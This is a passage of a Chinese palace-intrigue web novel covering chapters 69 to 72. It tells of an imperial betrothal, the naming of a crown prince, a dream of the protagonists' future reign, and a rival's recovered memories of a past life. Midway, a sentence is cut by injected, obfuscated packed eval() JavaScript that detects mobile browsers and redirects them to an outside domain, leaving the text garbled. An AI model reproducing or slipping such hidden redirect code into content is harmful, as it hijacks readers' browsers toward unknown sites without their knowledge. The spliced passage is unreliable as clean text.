吕世勋与慕载物对视一眼,单膝跪下,“禀陛下,陛下可曾记得当年臣一时失手将郡主推倒,害郡主受伤之事?” 确有此事。惠帝半眯着眼睛看他。 他道:“当年臣与父亲便提出想求娶郡主,未补偿郡主掌心留下的一道疤痕。虽郡主与国公拒绝求娶之事,但臣而今仍旧不改其志。” “倒也是有那么一回事。”惠帝又点头,问,“你呢?载物?” 慕载物抱拳道:“父皇,儿臣只是觉得,诸多贵女之中,韫浓表妹生得好看而已。” 他知道怎么样说话能讨得惠帝开心。 反正他只是来添乱的,当然能成功就更好啊。 不但能得到元氏的助力,还可以好好报复**元韫浓。 哦,要是能借此挑衅裴令仪,那就更好了。 “看来五弟,不过是一时兴起罢了。既然只是喜爱好颜色,何必掺和这一点热闹呢?”慕湖舟道。 惠帝问:“既然如此,你的意思是,你是真心实意的。” “父皇,儿臣求娶朝荣郡主,自然是真心实意。”慕湖舟说,“儿臣有此念头,为时已久。” 惠帝则是看向了元韫浓,“朝荣,你呢?你又是如何看的?这几人里,你想选谁?” 这个致命的问题终于来了。 元韫浓深吸一口气,道:“朝荣听凭陛下指婚。” 把决定的权力交给惠帝,惠帝才能勉强放下戒心。 “听从朕的指婚?终身大事,你就那么听朕的话吗?按理来说,这婚姻大事,理应是媒妁之言,父母之命才是。”惠帝问。 “陛下既是九五之尊,又是朝荣的阿舅,于尊于亲,朝荣都该听陛下的。”元韫浓却道。 她垂着眼睛,做出温柔顺和的模样,等待惠帝的旨意。 心中却是厌烦到了极点。 真该死,要不是时机尚未成熟,她都想直接**了。 这犹如戏剧般的一幕惹得在场众人窃窃私语,议论纷纷。 “这是什么鬼热闹?居然都把花给朝荣郡主了。” “其他人也就罢了,两位皇子一位公主,还有大理寺寺丞和吕家的郎君,这才是真的有意思了。” “淑慎公主凑什么热闹?人家择偶呢,她倒是也把花枝递给元韫浓了。” “人家也是表姐妹,这还看不出来?不是替朝荣郡主解个围吗?” “听闻先前国公府是有意同沈氏联姻的,只是后头郡主好像不乐意呢,就不了了之了。” “元应怜不是一直在同慕水妃和沈子谦一块玩的吗?联姻怎么就不乐意了?” “这我哪里知道?” “问题怕不就是出在这里嘛,你瞧瞧那两个皇子现在在干什么?她不就是在等这个机会,成将来的太子妃吗?” “这也是有点道理啊,那吕郎君又是凑什么热闹?” “郡主跟五皇子关系不好,跟吕世勋之前也是将近撕破了脸。但五皇子和吕世勋是好友啊,况且吕世勋之前跟郡主、清河王的事情闹得那么大,郡主都告御状去了,他不得趁此出口气?” “出口气还求娶郡主呢?” “就说你笨呢,等嫁过去了,还不是任人磋磨摆布?那才是真叫天天不灵,叫地地不应了。” 底下是讨论得热火朝天,上边的气氛却是一片冷肃。 惠帝并没有立即做出决定,而是问太后和皇后,“母后和皇后觉得如何?” “陛下,湖舟和朝荣是表兄妹,又一块长大的,怕是将情爱和亲情混淆了。”皇后勉强挤出一个笑。 太后却顿了顿,“哀家老了,儿孙自有儿孙福,年轻人自有年轻人自己的主意。” 接收到皇后不可置信的眼神,太后却视若无睹。 她对惠帝道:“哀家到底只是祖母了,皇帝和皇后是湖舟的父母,岐国公和惠贞是朝荣的爹娘,这事自然得由父母亲来做主。” 这意思就是她不管了。 看惠帝的样子,太后隐隐约约就有了预感。 而更要紧的是,白家原就是三皇子党,而岐国公和惠贞长公主虽然与她跟皇后不和,却没有撕破脸。 况且当年杀母夺子的事情,如今也尚没有暴露。 若是能借助联姻而获取摇摆不定的元氏的助力,那倒也不错。 至于元韫浓? 一个体弱多病的郡主而已,等到榨取了她和她家族的利用价值,再假称暴病而亡就行了。 听了太后的话,惠帝便问岐国公和惠贞长公主,“母后所言甚是,既如此,国公和皇姐怎么看?” 岐国公看了元韫浓一眼,叹了口气,“臣听从陛下吩咐。” “我倒觉得,应怜同三郎甚是合适。”惠贞长公主道。 “皇姐此话怎讲?”惠帝问道。 惠贞长公主指了指慕湖舟,又指了指元韫浓,“湖舟排行第三,应怜在家中又排第四,顺下来多巧。陛下先前不还同我开过玩笑,说慕小三和元小四,听着不三不四的。” “这倒是确有此事。”惠帝含笑点了点头。 “不过还是要听陛下旨意的,看看陛下觉得,朝荣同谁更配了。”惠贞长公主说道。 元韫浓等待惠帝下旨。 片刻之后,惠帝做出了决定,“好。” “拟旨。”他道,“为三皇子慕湖舟,朝荣郡主元韫浓赐婚,着钦天监择一良辰吉日完婚。” 那就是订婚了。 还没等众人惊讶,惠帝就下了第二道旨意:“朕念江山社稷之传承,国祚绵延之重责。今诸皇子中,皇三子慕湖舟秉性仁孝温厚,天资聪慧,昭然可鉴。” 皇后意识到了什么,激动地看向惠帝。 惠帝继续道:“朕观其德才兼备,堪当大任,实乃储君之选。即日起,册立慕湖舟为太子,入主东宫。望其日后,愈加勤勉,修身治国,以仁为本,以贤为范,不负朕之厚望,不负天下臣民之托。” 这道立储诏,使得在座众人瞠目结舌。 一时间众人神采各异,一个比一个精彩。 就连慕湖舟本人也流露出诧异之色,他身边的慕载物脸色更是难看到不行。 谁不希望自己是名正言顺的正统? 但到了这份上,想不谋逆也不可能了,三皇子党和五皇子党早已经是敌对到了无法回头的地步。 慕湖舟长舒一口气,跪地接旨,“儿臣谢父皇。” 又是赐婚又是立储的,这下可好,慕湖舟一时间风头无人能比。 就连皇后也被这天大的大好消息冲昏了头脑,就连看元韫浓都顺眼了不少。 元韫浓也稍稍松了口气。 慕湖舟如今是太子,惠帝也给她和慕湖舟赐了婚,算是定了亲。 待到钦天监择取良辰吉日,她和慕湖舟完婚,她就是太子妃了。 太子妃,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476492|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步就是皇后。 她必然可以得偿所愿。 这场赏花宴是几家欢喜几家愁,一切突然又突兀,每个人回了家都需要好好消化消化今日的所见所闻。 郑女幼都有些恍惚,她就这么看着元韫浓在她身边被定亲了? 和慕湖舟含笑道别之后,元韫浓坐上了回家的马车。 “这下得偿所愿了?”惠贞长公主无奈道。 “阿娘。”元韫浓抱着惠贞长公主的手臂撒娇。 元蕴英看不下去她那腻乎劲儿,啧了一声:“行了,这么大的人了还要抱着娘亲撒娇,你也真是的。” 她说完,又道:“皇室可比不得家中,再加上太后和皇后在那,你过得可不会比得上家里舒心。” “要我说,你又何必嫁人呢?在家中不好吗?父母兄姐自会照顾你一辈子的。”她有些变扭地别过脸。 “我就知道,二姐是关心我。”元韫浓笑。 “别胡说。”元蕴英矢口否认。 岐国公叹息:“你二姐说得不无道理,但既然这是你想要的,爹娘都不会阻拦你。” 元韫浓说:“父亲,我懂该做什么的,不会让族中为难。” “为父不是这个意思,你只管去做吧,还有元氏给你兜底呢。”岐国公摸了摸元韫浓的脑袋。 他突然想起来了什么似的,道:“为父昨夜里,收到了你兄长的书信,他和五郎得了胜,隔日启程回京,马上就要回来了。” 元韫浓愣了愣,不知怎的又有些心虚。 等裴令仪回来,知道她已经跟慕湖舟定了亲,怕是得发疯吧? “此次平定叛乱,二郎和五郎都有功。”惠贞长公主显然是昨夜里也看了那封信,知道这件事情,和岐国公通过气了,“尤其是五郎,不仅平定叛乱,**边境,还将叛军收编入队。” 元韫浓又是一怔。 还把叛军收编了?看来裴令仪很好地用了庄且最后的价值。 这么一说的话,裴令仪两度大获全胜,这功绩惠帝怕是再封也没有什么可封的了。 而且更要紧的,是裴令仪本就因为这两回有了一定基础的兵权,这次回来还带了那么多收编的叛军。 功高盖主,裴令仪怕是从惠帝的眼中钉,肉中刺,要更进一步了。 果然岐国公也有这样的担忧,“如此一来,我元氏怕是又要成了炙手可热的众矢之的。” 他的担心不无道理,本就是高门显贵,宗亲世家。 如今女儿马上要成来日的太子妃,儿子和义子又立了大功。 尤其是义子,等到明日这份功绩送到御案上,惠帝无论如何都会给裴令仪封一个骠骑大将军。 再之后,便是封无可封了。 才及冠,便封无可封。这之后的风险,怕是数不尽了。 “好了。”惠贞长公主宽慰道,“孩子们争气,你又何必愁苦呢?别人家是为子孙愚兮礼义疏而愁白了头发,你是孩子们个个都好也要愁,真要叫别人恼羞变怒了。” 岐国公听了此言,不禁露了笑,“公主真是,净会玩笑。” 元韫浓说:“大姐姐在白云观修行已久,不如传信,请她下山在家中小住一段时间。也好待到阿兄和清都回来,我们一家团圆几时。” 元云和自打云水**回京之后,就几乎是一直在白云观里同云水**修行。 讲真的,元韫浓有时候都会怀疑,元云和是在和云水**一起在白云观里给惠帝下咒。 毕竟元云和每回给她来信,都要非常刻意地问候一句“陛下身体康健否”。 元韫浓一般都当看不见,因为她只要一回元云和“陛下身子康健”,下一回元云和的来信就是“如有国丧,天下皆知”。 元韫浓都怕她们这些大逆不道的信被谁截去看了,送到惠帝面前。 岐国公闻言,点头,“为父回去便修书一封寄去白云观,叫你大姐归家。” “等到二郎和五郎回来,我们一家便是能团聚多时了。”惠贞长公主也笑。 元韫浓看着母亲,看来母亲虽然还放不下惠帝,但也多少解开了心结。 因为此刻的惠贞长公主,认为岐国公府是她的家。 第70章 重回之人 帝后的崩逝给雍带来了太多的伤悲,即使是对于年轻的养子而言。 尚且年少的新帝搁下奏折,旁边的朱批写着“重修凤仪宫”。 内侍胆战心惊地看着这位依然披麻戴孝的少帝,“陛下,岐国公来了。” “陛下又在批这种奏折了。”元彻回的声音从廊柱后传来,他负手走来,“先帝与先后若见您沉迷于修葺凤仪宫,怕是……” “舅父不妨直说父皇与母妃会斥朕妇人之仁。”少帝笑了笑,“他们待朕总是很严厉,严厉到有时候成了揠苗助长。” 裴令仪在理政时,偶尔会叫他随侍左右。 新供的这一批墨都带着股若有若无的铁锈味,甚至盖过了外头冷清清的雨水气息。 尤其是笔势游走,似乎能透出一抹红来。 他看了许久。 “帝王心术,最忌优柔。”裴令仪似乎是注意到了他的走神。 “这批御墨是你母后送到御前的,里头掺了叛军的血。”裴令仪的声音混着雨声,将那股凉意渗进了他的骨髓。 那年谋逆的是慕氏旁支,元韫浓身为昔日宗亲做主要杀,裴令仪的意思却是流放。 那些人果然没有**妄动的心,胆敢谋逆。 于是元韫浓亲自把圣旨上的“流配三千里”改成了“诛”,然后将这份特殊的墨送到裴令仪御案上,也是在向裴令仪表示不满,也算是挑衅。 元韫浓在怨怪裴令仪这份因她而生的仁慈,证明裴令仪的错误。 那时候的少帝还是允王,他听得有些毛骨悚然。 有时候,他真觉得母后远比父皇更残忍,但父皇更疯。 因为只有裴令仪会说,元韫浓柔弱,旁人皆需多体谅。 在允王眼里,元韫浓虽然容颜秀美,身姿纤弱,但要说性情,却实在和柔弱不沾边。 毕竟他很小的时候,元韫浓就带着他观刑了。 元韫浓喜好奢靡,在处决叛徒和贪官污吏上却相当狠辣。 “坐拥江山便容不得仁慈。”元韫浓这样说,“这裴家的江山,有一半得姓元。” 母后的话总这样令人心惊肉跳,但是这江山确实有一半是姓元的。 “朝臣的弱点要适当时再用。”元韫浓教允王批阅奏章,怎么看,又该怎么处置。 那年运河改道,为了讨元韫浓欢心,允王上递了**工部尚书**的折子。 元韫浓将**的折子摔在他脸上,“现在砍了这老匹夫的头,找谁去填堤?” “等秋汛过了再杀,他贪了几两,就要凌迟剐下几刀,少一片就在你身上补。”元韫浓把玉玺丢给他,叫他去办这件事。 这沉甸甸的玉玺落在手里,正因为太清楚这意味着什么,允王险些握不稳玉玺。 元韫浓看得冷笑:“握不住就换只手。” 允王太清楚元韫浓这句话是在说什么了,换只手,无异于是在说剁下这只连玉玺都握不住的手。 可是这样,裴令仪依然说元韫浓柔弱。 “父皇和母后待朕很严苛,朕那时候总是那么想。”少帝笑了笑,“朝臣们时常说父皇母后暴戾,但他们也很好。” 元韫浓养蚕缫丝,轻徭薄赋,裴令仪冬日施粥,抚恤孤苦。 元韫浓对于女子总会多一分耐心,会多提携女官,宫娥彩女,皆感其恩。 他偶尔翻到元韫浓留下的折子,看到批注的“减赋三成”时也会想,元韫浓是多复杂的一个人。 少帝顿了顿,他问:“舅父觉得,父皇和母后关系好吗?” 元彻回沉默了。 他实在是无法给出回答。 因为他觉得爱,但爱是这样的吗?可恨也不是这样的。 所以很奇怪,太奇怪了。 史书上写他们恩爱两不疑,那不是真的。但是写他们相看两生厌,那个不是真的。 他们风雨同舟过,比谁都默契,这种亲密超越了血缘,是共同的联盟,连理共生的菩提树。 可他们也是咫尺天涯的孤岛,隔海相望。 两个那么相似的人,中间又隔了那么多东西,真的可以那么毫无芥蒂地相爱吗? “舅父无法给出答案吧?那就说明舅父也不知道。”少帝道,“朕却觉得父皇和母后是恩爱的。” 因为他见过了太多的细节。 他见过角落里裴令仪夜深难寐时,元韫浓为其誊抄的药方。 结尾时元韫浓会戏谑地写——龙骨三钱配远志,夷北凉则陛下眠矣。 这一番调笑才让人惊觉原来是卧榻之侧,岂容他人鼾睡。 而裴令仪在背面写——皇后安则天下安也。 如果这也不能算是帝后情深,那少帝也找不出什么更能表明他心中帝后之间日月同空的象征了。 他道:“父皇曾对朕说,你母后要操刀,那裴氏就得是镇得住江山的刀。但握刀的手不能沾血,脏活累活,都别让她去做。” 元彻回惊异地看向少帝。 **裴令仪说过这样的话。 如果说裴令仪真那么说过,那么意味就不一样了。 尽管宫中宫外传言纷纷,说这江山一半姓裴,一半姓元。 但是被裴令仪认可了这句话,意思就完全不一样了。 更何况裴令仪把整个裴氏都放在了元韫浓之下。 看着元彻回这副表情,少帝也笑了,“舅父是不是没想到?” 他其实也没想到。 他总以为元韫浓恨裴令仪,裴令仪也没多爱元韫浓。 元韫浓总和他说帝王家的心肠要淬过九重火,不可动心,不能沦陷,却忘了手里那把刀玉石俱焚时,最先烧穿的,是握刀人的掌纹。 偏偏大雪落下,一切尘埃落定,爱恨都浮出了水面。 “父皇怎么会不爱母后?史书上写他油尽灯枯,可他分明是自刎的。”少帝略含讽刺地笑,“母后崩逝后他便拒不服药,他竟嫌油尽灯枯太慢,先一步去陪母后。” 他昨夜里还梦见了裴令仪和元韫浓。 月光和元韫浓的青丝随着绣了凤凰的披帛长长地拖曳在地上,元韫浓趴在裴令仪膝头,懒倦地翻阅着呈贡的珠翠与奏折。 药草的苦涩与熏香的温软一点点升腾,裴令仪的指尖没入元韫浓的黑发梳理。 元韫浓像是终于注意到了他的存在,抬眸看过来。 “又瘦了。”元韫浓的声音像碎玉落在瓷盘上,带了些笑意,“是我们饿着你了?” 他就跪坐在三丈外,不敢近前,也不敢出声,怕惊散这偷来的光阴。 梦醒之后,一切如旧,只有他一人睡不下去了。 “舅父有梦见过父皇和母后吗?”少帝问。 元彻回会以沉默。 少帝闭上了眼睛,“夜梦先帝太后如平生欢,既寤,悲不能寐。” 在长久的沉默里,他幽幽叹了口气:“朕在圣宸宫的殿中休息时,从坐席前伏在御床上,看见母后生前留在这梳妆用的镜匣,触景生情。” “臣听人提起过此事。”元彻回道。 下人们说,帝从席前伏御床,视太后镜奁中物,感动悲涕,令易脂泽装具。左右皆泣,莫能仰视焉。 少帝一面悲痛泣,一面命人给镜匣换上新的胭脂、香膏。 左右的侍者都是跟过裴令仪和元韫浓的,见状都低头流泪,悲伤得不能仰视少帝。 此事一出,常有人道,少帝还是太过于软弱,以至于到了这会还如此思念先前的帝后。 “母后或许会训斥我软弱吧?”少帝笑了笑,“这倒也无妨。” 静默半晌,他像是感叹:“父皇和母后之间,纠葛了那么久,也努力了那么久,就只能是这样的结局吗?” 是啊……就只能是这样的结局吗?元彻回这样想道。 等到梦醒之后,他也依然在反思这个梦。 这是和他最初梦境最像的一个梦,只是死亡的先后顺序改变了。 他做的最初的梦里,裴令仪和元韫浓之间,是裴令仪先油尽灯枯,元韫浓摄政多年之后郁郁而终,病逝。 而这次的梦里,却是元韫浓先病逝,裴令仪交代好一切后殉情而亡。 他做了那么多的梦,没有一个完满的结果,难道这就是命吗? 要怎么样,才能逃过命定的结局? 那这一回呢?这一回又是什么样的可能? 裴令仪和元韫浓又会走上什么样的道路,得到什么样的结局? 元彻回因为这些梦数日里辗转反侧,难以入睡。 实在是睡不着,他 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“杀了。”裴令仪站起来,厉声喝道,“这点事还要我教你吗?控制不住就杀了,不管是人还是马!” 他起身拎起佩剑,而这一瞬间,剧痛犹如惊雷落下。 他的视线落在眼前的炭盆上,无数画面在火光中炸裂。 元韫浓摔在他的身影、握着碎瓷片滴血的手、交握的手……最后定格在那双含恨的眼眸里,他问元韫浓恨不恨他。 裴令仪踉跄着向前了一步,撞翻了炭盆。 火星溅在地上,记忆如附骨之疽钻进了脑海。 他终于看清了所有,看清了那些他没有经历过的事情。 原来是这样……原来是这样…… 原来重新开始了,原来他和元韫浓都是重回一生。 裴令仪咬紧牙关,似乎是尝到了铁锈味。 原来这就是他们的命运,是轮回百转也化不开的悲怆。 外面的裴七听见了声音冲进来,看见倾倒的火盆,连忙去扶起裴令仪,“殿下!” “无碍。”裴令仪闭了闭眼。 裴七看着裴令仪这副模样,犹豫再三,还是道:“殿下回京之后,真打算要……” “怎么?”裴令仪扫向他。 他顿了顿,道:“方才京中的探子传信来了,惠帝已经给三皇子和朝荣郡主赐婚了,择日成亲,如今已经算是定亲了。三皇子如今,已是太子。” 裴令仪握剑的手蓦然收紧。 “看来原先的信是用不上了,得先解决这件事情才对。”裴令仪深吸一口气。 “殿下?”裴七惊疑不定地看着裴令仪。 他咬了咬牙,道:“殿下,若是想成大业,和朝荣郡主之间必然会有隔阂!此女必然会是成大业之路上的绊脚石啊!她毕竟是南朝宗亲!” “闭嘴!”裴令仪冷声呵斥。 他目光幽冷,犹如淬冰般,“我偏要勉强。” 或许前世他死前不想元韫浓再那么苦下去,不想元韫浓再因为他而难过,想过要放手。 但是今生是元韫浓主动走到他面前的。 既然元韫浓重生之后,主动牵住了他的手,那他绝不可能再放手。 用什么手段都好,他都要留下元韫浓。 “殿下!”裴七惊道。 “我说的话你还没听明白吗?”裴令仪阴鸷地望向他,“裴氏推着我去做这个冲锋陷阵的复国棋子,那我为什么不能为其他人冲锋陷阵?” 前世他这被困顿的一生里,拖拽着元韫浓陪他一起弥足深陷。 难道重回一世,一切都不一样了,他还要被困在这光复裴雍的空壳里吗? 难道他没有按照他们所期待的去做吗? 他们甚至不允许一颗被推着向前复仇的棋子,生出一丝一毫的反叛心思。 裴七被裴令仪的目光所震慑,一时无言。 裴令仪冷喝道:“滚出去。” 待到裴七离开帐子,裴令仪独自一人站在被倾翻的炭盆边。 他凝视着逐渐熄灭灰暗的炭,手却摸到了袖袋。 那里珍惜地藏着元韫浓及笄那年,从百花冠上摘下来送他的永生花。 第71章 欺师灭祖 街上的积雪被官靴踏成脏兮兮的泥浆。 霜降将虫草粉末倒进鎏金香炉,说道:“近来是多事的时候,钦天监选了那么久的良辰吉日,都没定下来,真叫人担心。” “这有什么好担心的?陛下亲口定下的,总不至于跑了去,到时候郡主就是太子妃了。”小满道。 元韫浓不置可否。 “郡主,二郎和五郎班师回朝的队伍已过了城门。”仆役隔着帘子禀报。 顿了顿,仆役又道:“东宫那头也送来了帖子,邀郡主午时前去东宫。说是刚到了一批时兴的稀奇缎子,请郡主去挑一挑。” “郡主。”霜降看向元韫浓,“可要回了太子那头?” 他们都觉得元韫浓应该会回绝了慕湖舟那边。 毕竟只是挑个缎子而已,另一头是兄长和义弟班师回朝。 但元韫浓可疑地迟疑了片刻,“还是先去东宫吧,这头等我回来,也差不多阿兄和清都回来。” 霜降愣了愣,但也没质疑元韫浓的决定,“是。” 实际上元韫浓是因为自己没有告知裴令仪,和慕湖舟定亲这一件事,裴令仪是从别的人那里得知此事的,而感到莫名的心虚。 换做是从前,元韫浓压根不会心虚。 但是裴令仪如今年龄见长,愈发像是前世的少年帝王。 况且裴令仪如今及冠,她还跟瞒小孩一样,刻意回避告知裴令仪此事。 但元韫浓也没有心虚很长时间,在东宫挑缎子时,已经挑花了眼睛。 等到挑完了一堆东西,该满载而归了,慕湖舟就说亲自送元韫浓到外面。 “这批缎子我叫人送到国公府府上去,喜欢做衣裳还是做个脚垫都随你高兴。”慕湖舟笑道。 元韫浓玩笑:“太子殿下好大气啊。” 慕湖舟无奈地笑笑:“就知道跟我贫嘴呢?” “慕小三,你这是在嫌我话快了?”元韫浓伸出手,故意用冬日里冰凉的手贴在慕湖舟温热的脸颊上。 慕湖舟没在意她没规没矩,堪称僭越的称呼,也没管她冒犯的举动。 反倒是有些心疼地握着她冰冷的手,慕湖舟皱了皱眉,“手怎么这么冷?方才在屋子里炭火不够旺吗?” “我天生体质就这样,方才屋里炭都烧成那样了,哪里不够旺?我看你身边的亲卫方才在里头,额头上一个劲儿地冒汗呢。”元韫浓笑。 慕湖舟闻言,转头看了一眼自己身边的亲卫。 亲卫原本就热得有些发红的脸更是躁得慌,心虚地挪开视线。 元韫浓没忍住笑出了声:“你身边的人,倒是跟你一样,在某些地方实诚得很。” “浓浓,你就知道笑话我。”慕湖舟无奈道。 “好啊,那太子请罚我吧。”元韫浓伸出手,摊开掌心。 像是待老夫子用戒尺打手心一样,元韫浓笑吟吟地看向慕湖舟。 “好啦。”慕湖舟便笑着轻轻拍了一下元韫浓的掌心。 慕湖舟还想要说些什么,目光却停滞在一边的骈车上。 车道边不知何时停了这辆看似朴实无华的车,可慕湖舟一眼扫过去就知道这车看着低调,实则不一般。 马是战马,木头是黑檀,铁铸的车舆,兽纹透着股狰狞可畏的杀伐深重。 再加上早早传来的消息,这也不难猜是谁了。 除了那个功冠全军的裴令仪,还能有谁? **叛军,击退北凉,最重要的是还收编了那一大群叛军。 现在庙堂之上,街头巷尾都在传说裴令仪是百年难得一见的英才,既能征外邦,又可战叛将,还从无败绩。 有了军功还有军权,裴令仪此次回来,不管是谁见了他都得礼让三分。 他会是名副其实的清河王。 而慕湖舟敛了笑,他实在是笑不出来。 因为他见过御案上裴令仪提前寄回来的书信,写的是求娶元韫浓。 难道裴令仪不知道元韫浓已经定亲了吗? 慕湖舟不信裴令仪不知道,他也不信裴令仪是第一天生出这种心思的。 分明是义姐弟,这么多年以来在同一屋檐下,难道裴令仪一直都是藏着这样的心思吗? 那么之前他所有觉得古怪的地方都有迹可循了起来,因为裴令仪从一开始就对元韫浓的心思不清白。 看向似乎对此一无所知的元韫浓,慕湖舟勉强笑了笑,“清河王凯旋,想来世子也已经在国公府中,或是父皇前头述职了。” “嗯,那我先走了,送到这里便留步吧,以后想见都见得着呢。”元韫浓笑着回应。 “好,回头见。”慕湖舟对着元韫浓露出温和的笑容。 元韫浓点了点头,和霜降、小满走向那辆停在路边不知多久的马车。 裴令仪从马车上下来,与元韫浓相望。 “阿姊。”他略沙哑的嗓音惊落梅枝积雪。 如此一遭回来,裴令仪身上本就少见的明朗少年气也更为沉淀,成了不显山露水的威蕴。 翎羽一样的睫毛在雪色光芒下有种华丽的暗光,与白皙的肌肤形成一种鲜明而清艳的对比。 有种恍如隔世的感觉。 元韫浓向前迈了一步,身后却突然传来一声呼唤:“浓浓。” 元韫浓转头,慕湖舟朝她走了过来。 “浓浓,先前说得开心,怎么就忘记了呢?”慕湖舟走到她身边,含笑将一个裹着兽皮的小手炉塞进了她手里,“说是要借我暖手,把手炉塞给我,就忘记了拿回去吗?” 元韫浓还真忘记了,稍稍一怔,“啊。” 慕湖舟将手炉放回了她手里,“刚刚还在说你手怎么那么凉呢,原来是忘记拿手炉了,也是我不好,没记起来。” 元韫浓接回嵌金手炉,拥暖在指掌间,“不过是个手炉,留你那便留你那了,我在车里也受不着风。” “冷着你一会,我都心疼的。”慕湖舟玩笑。 “方才还说我贫嘴呢,原来更贫的在这里呢。”元韫浓忍俊不禁。 裴令仪眸光晦涩地看着眼前旁若无人的二人,抿紧了唇。 慕湖舟像是才注意到了裴令仪一样,朝这里看过来,“清河王此次骁勇善战,战绩惊人,以八千铁骑破北凉部队,又收复锦州叛城,实乃我南朝大幸。” 这一番客套话再配上慕湖舟那得体的表情,怎么看怎么令裴令仪厌恶。 裴令仪扯动嘴角,“自然比不上三皇子春风得意,啊,现在改称呼太子殿下了。” 这话里含有讽刺的意味,再加上裴令仪那表情,怎么看不像是真心诚意的祝福。 二人间莫名的针锋相对令元韫浓有些微妙,裴令仪和慕湖舟的立场注定是对立的。 可问题是她现在算是跟慕湖舟定了亲,应该是一条船上的了。 可她又一开始就设计让裴令仪成了自己的义弟,划分到了自己的阵营。 她虽然没有明面上支持裴令仪去做什么,却默认且纵容了裴令仪去做任何事情。 本来是两头下注的事情。 偏偏这会两头的势头都蹿了上去。 尤其是裴令仪,他收编的那些叛军再加上先前的兵力,已经足以让先前所有欺辱他的人在他面前跪下认错了。 “太子若是真心心疼阿姊,便不会有忘了手炉这一出了。从一开始,就不该接下阿姊递过来的手炉暖手。难不成太子如此一个七尺男儿,还如此怕冷吗?”裴令仪问道。 他这架势显得咄咄逼人,像是质问。 慕湖舟微微蹙眉,“清河王何出此言?” “自然是随口一说罢了,太子不妨好好想想,自己是否适合做这个太子,又是否当时在众人面前向陛下请婚。”裴令仪似笑非笑。 慕湖舟眉头紧锁,“这么说来,清河王得胜归来头一回事情不是去父皇跟前述职,而是跑来这里来教本宫该怎么做吗?” 裴令仪道:“本该是先去述职的,但是想到阿姊在太子这里,实在是放心不下。左右陛下那头也不着急,世子又先去述职了,便先来接阿姊回家。” 慕湖舟眉头皱得更紧了。 元韫浓连忙圆场,拉过裴令仪的手臂,对慕湖舟道:“他怕是从战场上下来,累坏了,都开始口不择言了。” “我和清都先行回府了,回头再见。”她推着裴令仪上车,回头向慕 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元韫浓纠正:“不是来日,陛下已经下旨为我和他指婚了。过不了多久,还会下旨择一良辰吉日,让我和他完婚。” “嗯,我知道。”裴令仪看似平静地道,“但他不会下那道圣旨了。” “什么意思?”元韫浓惊疑不定地问道。 裴令仪没回话。 他像个泥塑的人偶般笔直地坐在那里,眼眸低垂,不知道在想些什么。 元韫浓看他那样子,一时气不打一处来。 这小子从小就这副模样,寡言少语,就跟她能多说点话。 元韫浓负气地背过身,探出窗外看外面,懒得跟他多说了。 “应怜。”背后却突然响起裴令仪的声音。 元韫浓愣了愣,转过身,“你叫我什么?” 裴令仪注视着元韫浓,又重复了一遍:“应怜。” 听裴令仪叫自己的小字,元韫浓有种诡异的陌生感。 前世今生都喊的阿姊,突然间叫了小字,元韫浓莫名有种裴令仪欺师灭祖的错觉。 “你、你……”元韫浓僵硬地指着他,实在有种吾儿叛逆,伤透我心的荒谬感。 也不是说被冒犯了什么的,但却有种难言的荒诞。 前世裴令仪就算是在床帐里,都喊的她阿姊,这一世倒好,名义上还是义弟呢,就喊她小字了? 裴令仪眼底翻涌的情绪太浓烈,不像才及冠的少年将军,倒像前世那个徒手握碎玉,割得自己满手血的疯子。 马车不知何时停下了,碎冰碴子化成雪水,顺着屋檐往下啪嗒啪嗒淌。 可裴令仪眼底跳动的暗火,比元韫浓在北州见过的狼烟还要灼人。 元韫浓一时间不知道该说什么。 这小狼崽子翅膀硬了,再加上刚及冠一个人孤苦伶仃在军中度过的,听信使说似乎也受了点伤,她这会也不舍得多骂两句了。 因为她是知道裴令仪一路走过来有多艰难的。 从偏僻废弃的冷宫,再到岐国公府里头的清仪馆。 裴令仪不像是慕湖舟、沈川和元彻回那样,有最顶尖的老师来教导他们文治武功,尽管严厉,但却怀有期待。 裴令仪是不被期待的,他最开始有的只有自己的一条命。 冬练三九,夏练三伏,他不懈怠,也不知疲倦。 无数次挥剑,擦掉血,擦掉汗,他能赌上的只有自己的命。 元韫浓实际上并不在意裴令仪的苦难,因为那是裴令仪的苦难,与她无关。 可遍体鳞伤的裴令仪出现在她眼前时,她也还是会心疼。 元韫浓瞪了一眼裴令仪,手指用力戳了裴令仪两下。 “死一边去。”元韫浓一把推开裴令仪。 她自己从车子上跳了下去,甚至没扶小满的手。 裴令仪凝视着元韫浓怒气沉沉的背影,目送元韫浓走进国公府的大门,沉默地摸到了装有永生花的袖袋。 “殿下?”裴九看看元韫浓的背影,又小心翼翼地看看裴令仪。 “进宫。”裴令仪道,“这门婚事成不了。” 第72章 紫衣最贵 裴令仪在最开始的时候,经常会怀疑自己。 他真的恨元韫浓吗? 如果不是恨,他无法想到该用什么别的情感来描述代称。 不然他对一个总是故意无视他、冷落他,对他刻薄傲慢,连假面都懒得戴的人,该是什么样的情愫呢? 不用恨,还有什么字眼可以代称这样浓烈的感情呢? 半夜想元韫浓想得睡不着,那是恨吗? 这么多年来对元韫浓的记忆是如此深刻,那是恨吗? 嫉妒元韫浓、憎恶元韫浓,那也是恨吗? 如果元韫浓**会感到悲哀吗? 那是恨吗? 所以他登上大极之后,第一件事情就是拆开沈川和元韫浓。 然后他见了慕水妃一面,他问慕水妃:“你恨韫浓阿姊吗?” 慕水妃摇头,“应怜妹妹年纪小,我是做姐姐的,理应多让让她。况且,若我所在意之人既能幸福,我又何苦为难自己?” 慕水妃本性就带有母性的光辉,有圣母的一面,**以为常地谦让和照顾。 元韫浓和裴令仪在她心中都是弟弟妹妹,都是她合该照顾的对象。 慕水妃的情感是带有奉献的,只要她喜爱一个人,那么做什么都是甘愿的。 裴令仪沉默片刻。 慕水妃不恨元韫浓。 可是他恨,乃至于他都不知道自己在恨什么。 恨元韫浓对自己的轻慢?恨元韫浓待自己不同的刻薄? 可他所恨之人如此之多,为何偏偏元韫浓不一样? “水妃阿姊,想要嫁给沈川吗?”裴令仪问。 